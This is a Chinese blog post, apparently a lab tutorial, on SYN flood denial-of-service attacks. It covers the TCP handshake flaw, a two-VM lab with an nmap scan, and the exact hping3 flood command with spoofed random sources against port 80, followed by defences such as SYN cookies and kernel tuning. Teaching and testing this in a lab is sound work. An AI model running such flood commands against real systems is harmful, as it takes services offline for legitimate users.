利用hping3工具进行SYN FLOOD洪水攻击模拟实验

利用hping3工具进行SYN FLOOD洪水攻击模拟实验

在做模拟实验前,先了解几个概念,同时理解SYN FLOOD洪水攻击的原理。

1.什么是SYN FLOOD洪水攻击?

Tear Drop泪滴攻击一样,SYN Flood也是一种拒绝服务攻击,其目标是通过发送大量伪造的TCP连接请求(SYN包)来消耗目标系统的资源,从而使得被攻击方资源耗尽而无法响应合法的连接请求的攻击方式。

2.SYN FLOOD攻击原理

SYN FLOOD攻击发生在OSI参考模型的传输层,它的攻击原理是利用TCP协议的三次握手过程协议缺陷来实现的。

正常情况下,客户端和服务器建立TCP连接三次握手过程是这样的:

image-20231110153753465

1)建立连接时,客户端发送一个SYN同步报文给服务器端,该报文中包含了本端的初始化序列号,同时设置本段的连接状态为SYN-SENT

2)服务器端收到SYN同步报文后,给客户端回应SYN+ACK *报文,该报文中包含本段的初始化序列号。同时设置本端连接状态为*SYN-RCVD

3)客户端收到服务器端的SYN+ACK后,向服务器端发送ACK报文进行确认,此包发送完毕,客户端和服务器进入ESTABLISHED状态。

三次握手的完成标志着一个TCP连接的成功建立。

但是,当客户端向服务器端发送SYN包后,对服务器端回应的SYN+ACK包不进行处理,会出现什么结果呢,如下图?

image-20231110153816613

服务器端发送完SYN+ACK *报文后,会建立一个半连接状态的*socket套接口,同时会启动一个定时器,若在超时时间内未收到客户端回应的ACK报文,服务器端将会进行超时重传SYN+ACK报文给客户端,默认重传次数为5次

第1次重传:1秒

第2次重传:2秒

第3次重传:4秒

第4次重传:8秒

第5次重传:16秒

第5次重传后还要等待32秒,若仍收不到 ACK 报文,才会关闭连接。

这样等等待时间=(1+2+4+8+16)+32=63秒,也就是大于1分钟的时间。

这样,若客户端不停的发送SYN报文并对服务端回应的报文不回答,就会导致服务器端不停的创建半连接状态的**socket **而耗尽资源,从而服务器端无法处理正常的客户端的连接请求,造成拒绝服务攻击,即SYN FLOOD洪水攻击。

3. SYN FLOOD攻击的特点

  • 攻击手段简单:SYN FLOOD攻击是一种常见的DoS攻击手段。
  • 防不胜防:SYN FLOOD是一种难以防范的攻击方式,因为其攻击行为在某些情况下很难被察觉和区分。例如,一个SYN FLOOD攻击可能会伪造合法的IP地址,使得攻击行为看起来像是来自正常的网络流量。这使得防火墙、IDS等安全设备很难对其进行有效的检测和拦截。
  • 攻击效果显著:SYN FLOOD攻击能够快速地使目标系统资源耗尽,导致其无法响应合法的连接请求。这使得攻击者能够成功地实施DoS攻击,使目标网站或服务完全瘫痪。
  • 危害范围广泛:SYN FLOOD攻击不仅能够对主机进行攻击,还能够危害路由器、防火墙等网络系统。事实上,只要目标系统打开TCP服务,SYN FLOOD攻击就能够对其实施攻击。

4. SYN FLOOD攻击模拟测试

4.1实验环境准备

两台虚拟机:

类型 IP地址 系统 备注
攻击机器 192.168.17.130 KALI LINUX KALI 自带hping3工具
被攻击机器 192.168.17.131 CENTOS 7.9 安装nginx服务,开放80端口

image-20231110153847577

4.2扫描目标端口

进入kali linux系统,利用Nmap网络地图扫描工具对实施攻击的机器192.168.17.131进行端口扫描:

┌──(root㉿kali)-[~/Desktop]
└─# nmap -sS 192.168.17.131  
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-07 02:21 EST
Nmap scan report for 192.168.17.131
Host is up (0.00059s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
111/tcp open  rpcbind
MAC Address: 00:0C:29:80:E5:68 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.62 seconds

image-20231110153923600

经扫描,目标机器开放22、80、111端口,现对80端口进行攻击。

4.3对目标端口进行实施攻击

获得目标开放端口后,对其WEB端口利用hping3进行SYS FLOOD洪水攻击:

┌──(root㉿kali)-[~/Desktop]
└─# hping3 -q -n --rand-source -S -p 80 --flood 192.168.17.131
HPING 192.168.17.131 (eth0 192.168.17.131): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 192.168.17.131 hping statistic ---
1990472 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

上面命令中,各个选项的含义如下:

  • -q:安静模式,减少输出信息。
  • -n:不进行DNS解析,直接使用IP地址。
  • --rand-source:从随机源地址发起攻击。
  • -S:使用TCP SYN标志,模拟正常的TCP连接过程。
  • -p 80:指定目标端口为80
  • --flood:进行洪水攻击,持续发送数据包。
  • 192.168.17.131:目标IP地址。

image-20231110153959471

同时开启WIRESHARKVMNET8网卡进行抓包,这里由于资源崩溃,没有成功保存下来抓到的数据包。

下面的截图没有了。

5.SYN FLOOD洪水攻击一般防护办法

SYN FLOOD攻击的防护措施可以从以下几个方面进行:

1)修改内核参数:

可以临时封源IP地址,或者修改TCP连接三次握手中第二次握手请求次数。具体来说,可以设置net.ipv4.tcp_synack_retries=0(默认值为5),即TCP连接三次握手中第二次握手请求次数,每次等待30~40秒,如果对方没有回应第三个握手包(ACK),即重试。也可以设置net.ipv4.tcp_syncookies=1(默认值为0),以及net.ipv4.tcp_max_syn_backlog=2048

2)监视和分析网络流量:

可以使用工具来监视和分析网络流量,如果发现某个IP发起了较多的攻击报文,可以将这个IP列入黑名单。

3)使用防火墙、入侵防护系统(IPS)、入侵检测系统(IDS):

可以在防火墙上增加相应的规则,对SYN FLOOD攻击进行检测和拦截。IDS可以实时监控网络流量,检测并响应SYN FLOOD攻击。

4)SYN Cookies

启用SYN Cookies机制,这是一种防御SYN Flood攻击的技术,可以在没有建立完整连接之前,对TCP连接进行验证和处理。

5)优化服务器配置:

可以限制同时打开的TCP连接数,以及合理配置TCP/IP参数等,从而减少服务器资源消耗,防止系统崩溃。

6)升级服务器硬件:

为了更好地防御SYN FLOOD攻击,可以考虑升级服务器的硬件配置,提高处理能力和内存容量等。

posted @ 2023-11-10 15:41  寻梦99  阅读(2599)  评论(0编辑  收藏  举报